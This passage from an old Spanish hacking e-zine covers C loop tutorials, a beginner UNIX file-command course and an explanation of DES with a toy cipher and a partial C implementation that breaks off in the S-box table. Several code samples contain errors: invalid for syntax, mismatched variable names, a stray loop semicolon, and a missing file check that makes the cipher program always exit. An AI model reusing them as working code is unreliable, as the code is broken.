for(suma=3;con=0;con<=2;suma=suma+con;con++)
printf("%d",suma");
con este fragmento estbleceriamos la variable suma a 3, la variable con a 0,
repetiriamos el bucle mientras con fuese menor o igual que dos, y en cada
vuelta hariamos que suma incrementase su valor sumandose a si misma lo que
vale con en cada "vuelta" y se incrementaria el valor de con en uno,
igualmente se nos mostraria un mensaje en pantalla cada vuelta informandonos
de cuanto vale suma despues de cada vuelta.
6.2 Do-While
Esta es otra de las instrucciones que nos permitiran crear bucles en turbo
C, su formato es :
do
{
sentencia;
}
while(expresion);
Esta instruccion lo que hara es ejecutar la sentencia, tras ello evaluara la
expresion que le hemos marcado, si se cumple repetira la sentencia, si no
seguira con la siguiente instruccion. La diferencia entre este do-while y el
while normal es que en este caso la sentencia nos aseguramos de que se
repetira almenos una vez, mientras que en con el while a secas se puede dar
perfectamente el caso que un bucle no se llegue a ejecutar nunca.
Por cierto, cuidado porque esta vez despues de marcar la condicion hemos de
poner punto y coma y es habitual que nos olvidemos las primeras veces.
Como siempre la sentencia puede ser simple, compuesta o nula y en la
expresion incluir operadores de relacion o logicos.
El hecho de que la sentencia o sentencias se ejecuten almenos una vez, puede
sernos muy util, por ejemplo a la hora de confeccionar un menu (lo hemos
hecho en el ejemplo al final del apartado 5), veamos un ejemplo de un menu
realizado con do-while y comparadlo con el hecho en el ejemplo, podreis
observar que queda asi mucho mas claro y sencillo:
do
{
clrscr()
gotoxy(10,5);printf("1.sumar");
gotoxy(10,9);printf("2.salir"); gotoxy(10,11);printf("selecciona
opcion: ");
scanf("%d",&seleccion);
}
while(opcion>2);
Asi pues, esta seria la mejor forma de crear programas con menus, utilizando
un do-while que nos muestre el menu mientras la opcion que eligamos sea
mayor de el maximo establecido e introduciendo lo que sucedera con cada
opcion mediante un if(vease el ejemplo del apartado 5).
Incluimos ahora unos ejemplos para tener un algo practico hecho con for y
do-while, que nos ayuden a entender estas instrucciones:
------------------------------cortar aqui----------------------------------
main()
{
int numero,multi,contador;
clrscr();
multi=1;
for (contador=1;contador<=10;contador++);
{
printf("\Nnumero %d: ",contador);
scanf("%d",&numero);
multi = multi * numero;
}
printf("\NResultado = %d",multi);
}
---------------------------cortar aqui-------------------------------------
En este ejemplo lo unico que hacemos es crear un bucle con la instruccion
for y con ayuda de un contador que nos pida diez numeros y nos de el
resultado de multiplicar los diez numeros.
Veamos ahora un ejemplo con el do-while:
---------------------------cortar aqui-------------------------------------
main()
{
int num,triple;
char tecla;
clrscr();
gotoxy(10,7);printf("deme un numero: ");
scanf("%d",&num);
clrscr();
do
{
triple = num * 3;
printf("\nnumero = %d, triple = %d",num,triple)
num++;
}
while((tecla = getch()) == ' ');
}
--------------------------cortar aqui--------------------------------------
En este ultimo ejemplo hemos visto como el programa pide un numero, y
despues mediante do-while creamos un bucle, el conjunto de sentencias lo que
nos hace es multiplicar el numero que hemos dado por tres para conseguir el
triple y nos da los dos resultados, desupes le incrementa en uno el valor al
numero dado y espera a que pulsemos una tecla si esta sea la barra
espaciadora repetira las sentencias sino finalizara el programa.
Pues nada, ahi queda eso, para cualquier cosa ya sabeis la nueva direccion,
ireick@e-n-g.org (para los mas despistadillos :P).
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º * ARTICULO * º * TEMA * º * NIVEL * º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺ
º5.- Curso de UNIX V º Hacking º Bajo º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
[ Ripe ]
Poco a poco hemos avanzado en este curso de UNIX, ahora ya sabemos como
iniciar una sesion remota con el sistema, como camviar nuestra clave de
usuario, como funciona el sistema de archivos en UNIX, como crear y eliminar
directorios....(por si me dejo algo), y ahora vamos a aprender las
posblidades que tenemos a la hora de tratar un archivo no directorio. En este
numero del curso de UNIX va a aprender bastantes ordenes del Shell, por lo
que te recomiedo que prestes mucha antencion (como dicen siempre los profes
}:-) ). Pero antes de hablar de todo ello es preciso que sepamos como ver los
archivos que hay dentro de un directorio, para ello se usa la orden "ls" (que
ya hemos visto en alguna ocasion) que estudiaremos en profundidad a
continuacion.
NOTA: "ls" es otra de las ordenes mas usadas del shell (ya vimos "cd" en la
entrega anterior del curso).
Como ya he dicho, "ls", es el comando que debemos usar para pedirle al UNIX
que nos muestre lo que hay dentro del directorio actual (A los usuarios de
MS-DOS quiza les ayude saber que esta orden es muy parecida al "dir").
-----------------------------------------------------------------------------
| $pwd |
| /usr/ripe |
| $ls |
| anotaciones |
| documentos |
| games |
| info.txt |
| info2.txt |
| notas |
| textos |
| xploits |
| ziritione |
| $_ |
-----------------------------------------------------------------------------
Como podeis ver en el ejemplo anterior el UNIX nos muestra el contenido del
directorio actual en forma de una unica columna, pero ¨que pasa si en el
directorio actual hay tantos archivos que no caben en pantalla? En ese caso
tenemos dos soluciones basicas, usar alguno de los muchos parametros que "ls"
nos ofrece y que permita visualizar mas archivos en pantalla, o utilizar un
pipeline con una llamada a una orden de paginado (si no has entendido esto
ultimo no te preocupes, lo veremos en algun otro numero del curso).
Los parametros de "ls" mediante los que conseguimos ver mas archivo en
pantalla son "-C", que nos muestra una salida con varias columnas ordenando
los archivos por columnas, "-x", que no muestra tambien una salida con varias
columnas pero ordenando los archivos por filas, y "-m" que lista los archivos
a lo largo de la pantalla separados por comas.
NOTA: Los archivos se ordenan por orden alfavetico, si quieres que estos sean
ordenados por orden alfavetico inverso debes utiliza el parametro "-r".
-----------------------------------------------------------------------------
| $pwd |
| /usr/ripe |
| $ls -C |
| anotaciones info.txt textos |
| documentos info2.txt xploits |
| games notas ziritione |
| $ls -x |
| anotaciones documentos games |
| info.txt info2.txt notas |
| textos xploits ziritione |
| $ls -m |
| anotaciones, documentos. games, info.txt, info2.txt, notas, textos, |
| xploits, ziritione |
-----------------------------------------------------------------------------
Como podemos ver "ls" puede presentarnos la salida de muchas formas distintas
(podemos convinar cada uno de estos parametros con el parametro "-r" para
invertir el orden), pero no terminan ahi las posiblidades de este comando,
mediante el parametro "-a" lograremos que el UNIX nos muestre ademas los
archivos ocultos (como ya vimos en su momento los archivos ocultos son
aquellos que empiezan por un punto (.); es el caso de los directorios "." y
".." de los que tambien hablamos).
-----------------------------------------------------------------------------
| $pwd |
| /usr/ripe |
| $ls -a |
| . |
| .. |
| .oculto1 |
| .oculto2 |
| anotaciones |
| documentos |
| games |
| info.txt |
| info2.txt |
| notas |
| textos |
| xploits |
| ziritione |
| $_ |
-----------------------------------------------------------------------------
Otros parametros muy usados son "-p", que a¤ade una barra inclinada a la
derecha (/) detras de cada archivo directorio, y "-F", que ademas de ello
a¤ade tambien un asterisco (*) detras de cada ejecutable.
-----------------------------------------------------------------------------
| $pwd |
| /usr/ripe |
| $ls -p |
| anotaciones |
| documentos/ |
| games/ |
| info.txt |
| info2.txt |
| notas |
| textos/ |
| xploits/ |
| ziritione |
| $ls -F |
| anotaciones |
| documentos/ |
| games/ |
| info.txt |
| info2.txt |
| notas |
| textos/ |
| xploits/ |
| ziritione* |
| $_ |
-----------------------------------------------------------------------------
Hay bastantes mas parametros para la orden "ls", todos ellos utiles, pero
solo vamos a hablar de uno mas, "-l", quiza uno de los mas utilizados
debido a que es el parametro que hace que "ls" nos de mas informacion sobre
cada archivo. Al principio, a los que aun no se han familiarizado con el
entorno UNIX, les cuesta entender un poco alguna de la informacion que se
consigue. Pero vayamos a lo practico :)
-----------------------------------------------------------------------------
| $pwd |
| /usr/ripe |
| $ls -l |
| -rw-r--r-- ripe remoto 143 Nov 26 10:45 anotaciones |
| drw-r--r-- ripe remoto 1567 Mov 10 01:21 documentos |
| drw-r--r-- ripe remoto 6748 Oct 22 07:42 games |
| -rw-r--r-- ripe remoto 432 Oct 12 12:23 info.txt |
| -rw-r--r-- ripe remoto 234 Oct 12 12:25 info2.txt |
| -rw-r----- ripe remoto 651 Nov 17 02:22 notas |
| drw-r--r-- ripe remoto 1468 Oct 19 10:46 textos |
| drw------- ripe remoto 9654 Jun 21 03:09 xploits |
| -rwxr-x--- ripe remoto 945 Jun 21 03:12 ziritione |
| $_ |
-----------------------------------------------------------------------------
JODEERRR ¨Que c*¤o es todo esto? Como puedes ver, "ls -l" te muestra 7
columnas con informacion sobre cada archivo, esta informacion es realmente
util en muchos casos.
-La primera columna esta compuesta por 10 caracteres, el primero
indica el tipo de archivo, mientras que el resto indica los
permisos de acceso al archivo (hablaremos de todo ello mas
adelante).
-La segunda el numero de enlaces que tiene el archivo (de esto
tambien hablaremos :P)
-La tercera indica el propietario del archivo.
-La cuarta indica al grupo al que pertenece el archivo (normalmente
el mismo al que pertenece el usuario).
-La quinta columna indica el tama¤o del archivo en bytes (si quieres
que el tama¤o del archivo te sea mostrado en bloques debes usar el
parametro "-s", de manera que convinado con "-l".... "ls -ls" ;) ).
-La sexta muestra la fecha y hora de la ultima modificacion que
sufrio el archivo.
-Os preguntareis ¨Y donde esta el nombre del archivo? Pues en la
septima y ultima columna :)
Otro parametro que puede ser usado por "ls" es "-i", mediante el cual este
nos mostrara la lista de los ficheros con su respectivo numero i-nodo.
-----------------------------------------------------------------------------
| $ls -i |
| 5672 facturas |
| 4689 informes |
-----------------------------------------------------------------------------
Ademas te todo ello "ls" permite mas posiblidades, como el uso de
metacaracteres (lo que voy a contar ahora es tambein aplicable a otras
ordenes del shell y es de mucha utilidad). ¨Que es un metacaracter? Pues
podiriamos decir que un metacaracter no es mas que un "comodin", un caracter
que puede ser substituido por algo. Los metacaracteres mas utilizados
(almenos los que yo mas uso) son "?", y "*", aunque existen otros como "[]".
Empezaremos hablando del metacaracter "?"; El signo interrogativo (?) es un
caracter especial que el shell interpretara como cualquier caracter, su uso
es muy sencillo, como veremos a continuacion:
-----------------------------------------------------------------------------
| $ls |
| texto |
| texto1 |
| texto2 |
| texto3 |
| texto33 |
| texto34 |
| zeros |
| $ls texto? |
| texto1 |
| texto2 |
| texto3 | |
| $ls texto?? |
| texto33 |
| texto34 |
| $ls ????? |
| texto |
| zeros |
-----------------------------------------------------------------------------
Como podemos gracias a la primera llamada a "ls" que hacemos el directorio en
el que nos encontramos contiene 7 ficheros.
En la segunda llamada a "ls" que hacemos ("ls texto?"), estamos preguntandole
al sistema que ficheros hay en el directorio actual que cuyo nombre sea
"texto" seguido de un solo caracter (cualquiera), por ello ni "texto33", ni
"texto34" aparecen.
La tercera llamada a "ls" es similar a la segunda, la unica diferenci es que
en vez de mostrarnos lo ficheros cuyo nombre sea "texto"+<un caracter> nos
muestra nos mostrara los ficheros que tengan como nombre
"texto"+<dos caracteres>.
La ultima llamado pide que se nos muestren los ficheros cuyo nombre contenga
5 caracteres.
Visto el metacaracter "?", pasare a comentar el "*", que, personalmente, es
el que uso mas. Si "?" era substituido por un solo caracter, "*" sera
substituido por cualquier numero de caracteres (por si a alguien lo queda mas
claro asi... diremos que sera substituido por un string). Siguiendo en el
directorio anterir vamos los siguientes ejemplos:
-----------------------------------------------------------------------------
| $ls texto* |
| texto |
| texto1 |
| texto2 |
| texto3 |
| texto33 |
| texto34 |
| $ls *3* |
| texto3 |
| texto33 |
| texto34 |
-----------------------------------------------------------------------------
Notese que el metacaracter "*" tambien puede ser substituido por nada... :->
Y pasemos ya a hablar del ultimo metacaracter, que es quiza el mas complicado
(aunque no conlleva ningun tipo de complicacion). Los corchetes de abrir y
cerrar "[]" con caracteres especiales que encierran listas de caracteres.
Para formar estas listas de caracteres usaremos dos limitadores, de manera
que esa lista conedra todos los caracteres que se encuentren entre dichos
limitadores (incluyendose a ellos mismos), asi pues "[a-e]" contiene los
caracteres a, b, c, d, e. Veamos un ejemplo, sin movernos del directorio
actual :P
-----------------------------------------------------------------------------
| $ls texto[1-33] |
| texto1 |
| texto2 |
| texto3 |
| texto33 |
| $ls *[2-4] |
| texto2 |
| texto3 |
| texto33 |
| texto34 |
-----------------------------------------------------------------------------
Este metacaracter permite ademas la posiblidad de negacion mediante otro
metacaracter "!". La utilizacion del sigo de exclamacion (!) delante hara que
se muestren los archivos que no contengan en la posicion del metacaracter
ninguno de los caracteres de la lista.
En el numero anterion de este curso vimos como podiamos utilizar la orden
"rm" para borrar directorios con ficheros en su interios (usando el parametro
"-r"), pero "rm" se usa mas amenudo para borrar ficheros.
-----------------------------------------------------------------------------
| $cd /home/local/luis |
| $ls |
| dibujo.jpg |
| libros.txt |
| notas.txt |
| telefonos |
| $rm telefonos |
| $ls |
| dibujo.jpg |
| libros.txt |
| notas.txt |
| $rm *.txt dibujo.jpg |
| $ls -a |
| . |
| .. |
-----------------------------------------------------------------------------
Como podemos ver "rm" borra el/los fichero/s indicados sin pedir ningun tipo
de confirmacion, de todos modos si queremos que UNIX nos pida confirmacion a
la hora de borrar un fichero con "rm" podemos usar el parametro "-i".
Ya hemo visto como listar y borrar ficheros, como usar los metacaracteres
"?", "*", "[]" y "!", por lo que seguidamente veremos como copiar ficheros
"cp", como lincar ficheros "ln", como mover (o cambiar nombre) ficheros "mv".
La orden "cp", es muy sencilla de utilizar, y como podreis deducir (cp=CoPy
:P) se utiliza para copira ficheros y directorios. Para copiar un fichero no
usaremos ningun tipo de parametro, mientras que si lo que queremos copiar son
directorios utilizaremos el parametro "-r". Si a la hora de copiar un fichero
UNIX ha de sobreescribir otro fichero, este no nos avisara y lo hara sin
contemplaciones (he de decir que a causa de ello yo he perdido algun
trabajo), si queremos que UNIX pida confirmacion a la hora de sobreescibir un
fichero o un directorio usaremos el parametro "-i".
-----------------------------------------------------------------------------
| $pwd |
| /home/remote/manolito/trabajos1999 |
| $ls |
| cUNIX.doc |
| $cd .. |
| $ls |
| informes |
| notas |
| trabajos1999 |
| $cp informes informes.antiguos |
| $ls |
| informes |
| informes.abtiguos |
| notas |
| trabajos1999 |
| $cp -r trabajos1999 trabajos1999.cpy |
| $cd trabajos1999.cpy |
| $ls |
| cUNIX.doc |
-----------------------------------------------------------------------------
"ls" realiza una accion similar a "cp" (son similares pero no no hay
confundirlas), la diferencia entre "cp" y "ln" es que el uso de "ln" no
ocupa mas espacio en el disco, pues lo unico que se crea en un enlaze
mediante la copia del i-nodo del fichero (quizas suene algo raro, si no lo
entiende no te preocupes y relacionalo con los accesos directos del
gindous), lo veremos en el siguiente ejemplo:
-----------------------------------------------------------------------------
| $ls -i |
| 3534 fichero |
| $cp fichero.cp |
| $ls -i |
| 3534 fichero |
| 6781 fichero.cp |
| $ln fichero fichero.ln |
| $ls -i |
| 3534 fichero |
| 6781 fichero.cp |
| 3534 fichero.ln |
-----------------------------------------------------------------------------
Se puede ver que al realizar "cp" el i-nodo del nuevo fichero es diferente,
mientras que al usar "ln" es i-nodo se conserva pues realmente son el mismo
fichero con distinto nombre.
"mv" tiene una doble utilidad (que de echo es la misma...), la de mover y la
de cambiar nombre a los ficheros, al igual que las demas ordenes que hemos
visto no pedira confirmacionsi ha de sobreescribir a no ser que usemos el
parametro "-i".
-----------------------------------------------------------------------------
| $ls |
| prueba.txt |
| $mv prueba.txt viajes |
| $ls |
| viajes |
| $mv viajes ../viajes |
| $ls |
| $cd .. |
| $ls |
| facturas |
| informes |
| viajes |
-----------------------------------------------------------------------------
Bueno, hasta aqui esta quinta entega :)
NOTA FINAL: Vistas las peticiones de los lectores, tratare de acelerar un
poco el curso (ya se que estais ansiosos por aprender :P)
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍËÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º * ARTICULO * º * TEMA * º * NIVEL * º
ºÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĺ
º6.- Algoritmo DES º Criptografia º Medio/Alto º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÊÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
[ Doing ]
NOTA: Yo no me hago responsable de los dolores de cabeza que pueda producir
la lectura de este articulo xD.
INTRODUCCION
------------
Bueno, ya estoy aqui otra vez para daros el co¤azo (jeje). Pues en este
articulo intentare explicar el funcionamiento del DES, que es un algoritmo
de cifrado de datos simetrico (no es nada del otro mundo :).
Primero voy a explicar algo sobre criptografia. El proposito de la
criptografia es cifrar un texto conocido (llamado texto en plano) con una
clave que solo conocen el que envia el mensaje y el que lo recibe (si el que
lo recibe no conoce la clave no vamos bien xD), de forma que el texto
resultante (llamado texto cifrado) solo pueda ser convertido al texto plano
usando la clave de antes. De forma matematica seria algo asi:
E : TEXTO CIFRADO
M : MENSAJE EN TEXTO PLANO
C : ALGORITMO DE CIFRADO
D : ALGORITMO DE DESCIFRADO (Puede ser igual a C)
K : CLAVE DE CIFRADO
PARA CIFRAR:
E = C( M, K )
PARA DESCIFRAR:
M = D( E, K );
Pues este esquema es el que siguen absolutamente TODOS los sistemas de
criptografia _simetrica_. Se llama simetrica porque la clave que se usa para
cifrar es la misma que se usa para descifrar (voy a usar las palabras cifrar y
descifrar en vez de encriptar y desencriptar, porque en espa¤ol, encriptar
significa "meter en una cripta" xD).
PROGRAMANDO UN EJEMPLO
----------------------
Pues ahora que conocemos los principios basicos de la criptografia
simetrica, vamos a hacer un programilla de cifrado sencillito.
Lo primero es elegir el algoritmo a usar. Hemos dicho sencillito, asi que
lo que hara el programa sera leer un archivo (el archivo que queremos cifrar,
evidentemente) e ira sumando al codigo ASCII de cada caracter un valor. Luego
escribira el resultado en otro archivo, que sera el archivo que contiene el
texto cifrado. El valor que se le suma a cada caracter va a ser la clave.
Nuestro algoritmo quedaria asi:
C = ( M + K )
D = ( E - K
)
Sencillo, ¨no?. El texto cifrado se obtiene sumando la clave al texto plano, y
el texto plano se obtiene al reves. Hemos dicho que va a operar sobre el
codigo ascii de los caracteres, lo quiere decir que cifrara en bloques de 8
bits. Ok, vamos a hacer el programa.
<++> programas/cifrador1.c
#include <stdio.h>
#include <stdlib.h>
#define CARACTER unsigned char
/*
* Esta es la funcion que cifra
*/
CARACTER Cifra(CARACTER M, int K)
{
CARACTER ret;
ret = M + K;
return ret;
}
/*
* Y esta la que descifra :)
*/
CARACTER Descifra(CARACTER E, int K)
{
CARACTER ret;
ret = E - K;
return ret;
}
void uso(char *ar)
{
printf("Uso:\n");
printf("\t%s <fichero_entrada> <fichero_salida> <clave> <0|1>\n", ar);
printf("\t0 : cifra\n");
printf("\t1 : descifra\n");
exit(0);
}
int main(int argc, char **argv)
{
FILE *fin, *fout;
int K, cifrar;
CARACTER buf;
if (argc < 5) uso(argv[0]);
fin = fopen(argv[1], "r");
if (!fin) {
printf(" Error abriendo el fichero de entrada\n");
exit(0);
}
fout = fopen(argv[2], "w");
printf(" Error creando el fichero de salida\n");
exit(0);
}
K = atoi(argv[3]);
printf(" Usando clave %i\n", K);
cifrar = atoi(argv[4]);
if (!cifrar) printf("Cifrando...");
else printf("Descifrando...");
fflush(stdout);
while (fread(&buf, 1, 1, fin) == 1) {
switch(cifrar) {
case 0:
buf = Cifra(buf, K);
break;
case 1:
buf = Descifra(buf, K);
break;
}
fwrite(&buf, 1, 1, fout);
}
fflush(NULL);
printf("hecho!\n");
fclose(fin);
fclose(fout);
return 0;
}
<-->
Vamos a probarlo.
# gcc -o cifrador1 cifrador1.c
# echo "Hola, soy Doing, Feliz Navidad" > texto_plano1
# ./cifrador1 texto_plano1 texto_cifrado 666 0
# cat texto_cifrado
â ºÞº ƺàÿºèûþûþ¤
# ./cifrado1 texto_cifrado texto_plano2 666 1
# cat texto_plano2
Hola, soy Doing, Feliz Navidad
Parece que funciona :) Como veis, este algoritmo no tiene ningun misterio. De
hecho se podria romper en milesimas de segundo.
Para hacer a un algoritmo mas fuerte (con fuerte me refiero a que sea mas
dificil romperlo) se usan dos tecnicas: confusion y difusion. El DES usa estas
dos tecnicas como veremos mas adelante.
REDES DE FEISTEL
----------------
En criptografia existe un "tipo" de algoritmos llamados redes de Feistel.
Estas redes dividen el texto a cifrar, M, en dos mitades, L y R, y van
cifrando iterativamente (repetitivamente :) una de las mitades, luego las
mitades se intercambian y el proceso de vuelve a repetir. Algo asi:
M
/ \
/ \
L1 R1
\ /
\ /
\C(K1)
/ \
L2 R2
\ /
\ /
\C(K2)
/ \
L3 R3
Como veis, se usan varias claves (K1, K2), una por cada ciclo. Pues bien,
esta red tiene la curiosa propiedad de ser reversible, si las K? se aplican
en sentido inverso. En el DES se usan 16 Ks, por lo tanto el DES es un red de
Feistel con 16 ciclos, pero tiene varias permutaciones que ahora veremos.
PERMUTACIONES
-------------
Una permutacion es basicamente un reordenamiento de los bits del numero
a permutar. Para permutar un numero se siguen unas tablas que dicen como se
debe permutar. Hay tres "tipos" de permutaciones.
Las permutaciones en las que el numero de la salida tiene el mismo numero de
bits que la entrada:
Entrada: 1 0 1 0
\ / \ /
/ \ / \
Salida: 0 1 0 1
Los bits simplemente se cambian de sitio.
Otro tipo son las de compresion:
Entrada: 1 0 1 0
\ /
/ \
Salida: 1 0
Aqui la salida ocupa menos bits que la entrada, con lo que algunos bits se
pierden.
Y por ultimo las de expansion:
Entrada: 0 1
/ \
/ \ / \
Salida: 0 0 1 1
Igual que las de compresion, pero al reves. Los bits se repiten para crear
un numero de bits mayor.
Luego veremos mas detenidamente las permutaciones en el DES.
LAS (famosas) S-BOXES
---------------------
S-BOXES quiere decir cajas de sustitucion. En las permutaciones hemos
visto como los bits se reordenaban, pero aqui los bits de la salida no tienen
por que ser los mismos que la entrada. Las S-BOXES son unas "cajas" que toman
una entrada de 6 bits y devuelven 4 (en el caso del DES).
Mas concretamente son arrays bidimensionales, con 4 filas y 16 columnas.
Para obtener el indice en la fila se concatenan los bits 1 y 6, y para el
indice en la columna se concatenan los bits 2, 3, 4 y 5. Voy a poneros un
ejemplo porque me parace que no os estais enterando ;).
Entrada: 1 0 0 0 1 0
Indice en la fila: 1 0 [2]
Indice en la columna: 0 0 0 1 [1]
El grupo de cuatro bits que este en la posicion [2][1] sera la salida para la
entrada 1 0 0 0 1 0.
EL DES
------
Ahora empieza lo bueno :). Vamos a ir desde el principio.
Paso por paso:
Lo primero es poner la clave a usar en el algoritmo. Se usa una clave de 64
bits de longitud. A esta clave se le aplica una permitacion que la trunca a
56 bits, eliminando los bits de paridad, y reordenando los restantes. Ahora
la clave de 56 bits se parte en dos de 28, y se van *rotando* cada parte
independientemente de la otra dos bits hacia la izquierda en cada ciclo,
menos para los ciclos 1, 2, 9 y ultimo, que se despalaza solo uno. Ahora
tenemos 16 claves de 56 bits. Cada una de estas claves se permuta siguiendo
una permutacion de compresion, que la trunca a 48 bits, y ya, (por fin :)
tenemos las 16 claves de 48 bits que usaremos en la red de Feistel.
Ahora vamos a cifrar un bloque de 64 bits. Lo primero que se hace es
aplicarle una permutacion "normal" (ni de expansion ni de compresion), con lo
que obtenemos el bloque permutado. Ahora se parte el bloque en dos mitades,
L y R. A continuacion comienzan los 16 ciclos:
- La parte derecha (R) se expande a 48 bits, siguiendo una permutacion de
expansion.
- Ahora se realiza un XOR entre la R expandida y la clave correspondiente al
ciclo, y el resultado se guarda en R.
- Ahora llegan las S-BOXES. El DES tiene ocho distintas. El bloque de 48 bits
"XOReado" se divide en 8 bloques de 6 bits, y cada uno de eso bloques de 6
bits se usa como entrada en las S-BOXES. Cada S-BOX devuelve un numero de 4
bits. La salida de la S-BOXES se concatena, formando de nuevo un numero de
bits.
- Ahora se realiza otra permutacion "normal" sobre el bloque de 32 bits,
oteniendose otro bloque de 32 bits permutado, que llamaremos F.
- Este bloque (F) se XORea con la parte izquierda (L) del bloque inicial,
y el resultado se guarda en F.
- Ahora la parte izquierda se intercambia con la derecha, pero OJO, con la
parte derecha del pricipio del ciclo, la que no ha sido permutada, y la
parte derecha se intercambia con F. Entonces el ciclo vuelve a empezar.
En el ultimo ciclo no hay que intercambiar las mitades.
Ahora, despues de los 16 ciclos, tenemos las dos mitades del principio, ya
encriptadas. Las volvemos a unir, en un bloque de 64 bits, y las permutamos
con la permutacion _inversa_ de la inicial (esa que se aplicaba al bloque
a encriptar). El resultado es el bloque encriptado.
Si quieres encriptar el bloque las claves se van aplicando desde la 1 a la
16. Si quieres desdencriptar se aplican desde la 16 a la 1.
Como veis es un algoritmo bastante complicado.
CODIGO FUENTE
-------------
Pues estuve buscando el codigo fuente, y encontre 3 o 4, pero curiosamente
lo que un programa cifraba el otro no era capaz de descifralo :-?. Cifraban
de forma distinta, ¨como es posible? Entonces estuve buscando algun estandar o
algo parcido, y lo encontre en el libro "Criptografia" de Manuel Lucena, que
os lo podeis bajar de Kriptopolis (os lo recomiendo). En el libro vienen unos
valores de prueba para el DES, que os pongo a continuacion:
Cifrando el bloque 0000000000000000 con clave 01234567890abcdef:
Clave : 0123456789abcdef
Eleccion Permutada : f0ccaa0aaccf00 -> L=f0ccaa0 R=aaccf00
Llaves intermedias (Ki):
K01 = 0b02679b49a5 K02 = 69a659256a26 K03 = 45d48ab428d2 K04 = 7289d2a58257
K05 = 3ce80317a6c2 K06 = 23251e3c8545 K07 = 6c04950ae4c6 K08 = 5788386ce581
K09 = c0c9e926b839 K10 = 91e307631d72 K11 = 211f830d893a K12 = 7130e5455c54
K13 = 91c4d04980fc K14 = 5443b681dc8d K15 = b691050a16b5 K16 = ca3d03b87032
Texto Plano : 0000000000000000
Bloque permutado : 0000000000000000
Paso01 : L=00000000 R=2f52d0bd Paso02 : L=2f52d0bd R=0cb9a16f
Paso03 : L=0cb9a16f R=15c84a76 Paso04 : L=15c84a76 R=8e857e15
Paso05 : L=8e857e15 R=20ac7f5a Paso06 : L=20ac7f5a R=526671a7
Paso07 : L=526671a7 R=d1ae9ee9 Paso08 : L=d1ae9ee9 R=6c4bbb2c
Paso09 : L=6c4bbb2c R=92882868 Paso10 : L=92882868 R=694a6072
Paso11 : L=694a6072 R=a0a3f716 Paso12 : L=a0a3f716 R=0a0d3f66
Paso13 : L=0a0d3f66 R=e672c20e Paso14 : L=e672c20e R=c0dbacf2
Paso15 : L=c0dbacf2 R=0b78e40c Paso16 : L=0b78e40c R=2f4bcfcd
Resultado sin permutar:2f4bcfcd0b78e40c
Resultado final :d5d44ff720683d0d
Pues bien, ninguno de los programas que me baje lo hacia asi, asi que decidi
hacer mi propia implementacion del DES. Aqui teneis el programa.
Si lo compilais normal:
gcc -o DES DES.c
Creara el un programa igual que el que hicimos al principio, cifrara ficheros
usando el DES.
Pero si lo compilais asi:
gcc -o DES -DDEBUG DES.c
Y lo ejecutais os saldran los valores de prueba del libro "Criptografia",
para que veais que de verdad funciona :).
Aqui lo teneis:
<++> programas/DES.c
#include <stdio.h>
#include <stdlib.h>
/*
Variables globales
*/
u_long enclavesd[16];
u_long enclavesi[16];
u_long declavesd[16];
u_long declavesi[16];
u_long bits32[32];
/*
Las tablas de permutaciones de la clave y el
bloque a encriptar
*/
u_char tabla_clave[56] = {
57, 49, 41, 33, 25, 17, 9, 1,
58, 50, 42, 34, 26, 18, 10, 2,
59, 51, 43, 35, 27, 19, 11, 3,
60, 52, 44, 36, 63, 55, 47, 39,
31, 23, 15, 7, 62, 54, 46, 38,
30, 22, 14, 6, 61, 53, 45, 37,
29, 21, 13, 5, 28, 20, 12, 4
};
u_char tabla_comp_clave[48] = {
14, 17, 11, 24, 1, 5, 3, 28,
15, 6, 21, 10, 23, 19, 12, 4,
26, 8, 16, 7, 27, 20, 13, 2,
41, 52, 31, 37, 47, 55, 30, 40,
51, 45, 33, 48, 44, 49, 39, 56,
34, 53, 46, 42, 50, 36, 29, 32
};
u_char PI[64] = {
58, 50, 42, 34, 26, 18, 10, 2,
60, 52, 44, 36, 28, 20, 12, 4,
62, 54, 46, 38, 30, 22, 14, 6,
64, 56, 48, 40, 32, 24, 16, 8,
57, 49, 41, 33, 25, 17, 9, 1,
59, 51, 43, 35, 27, 19, 11, 3,
61, 53, 45, 37, 29, 21, 13, 5,
63, 55, 47, 39, 31, 23, 15, 7
};
u_char tabla_expan[48] = {
32, 1, 2, 3, 4, 5, 4, 5,
6, 7, 8, 9, 8, 9, 10, 11,
12, 13, 12, 13, 14, 15, 16, 17,
16, 17, 18, 19, 20, 21, 20, 21,
22, 23, 24, 25, 24, 25, 26, 27,
28, 29, 28, 29, 30, 31, 32, 1
};
u_char PF[64];
u_char sbox[8][64];
u_char sboxes[8][64] = {
/* S1 */
14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7 ,
0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
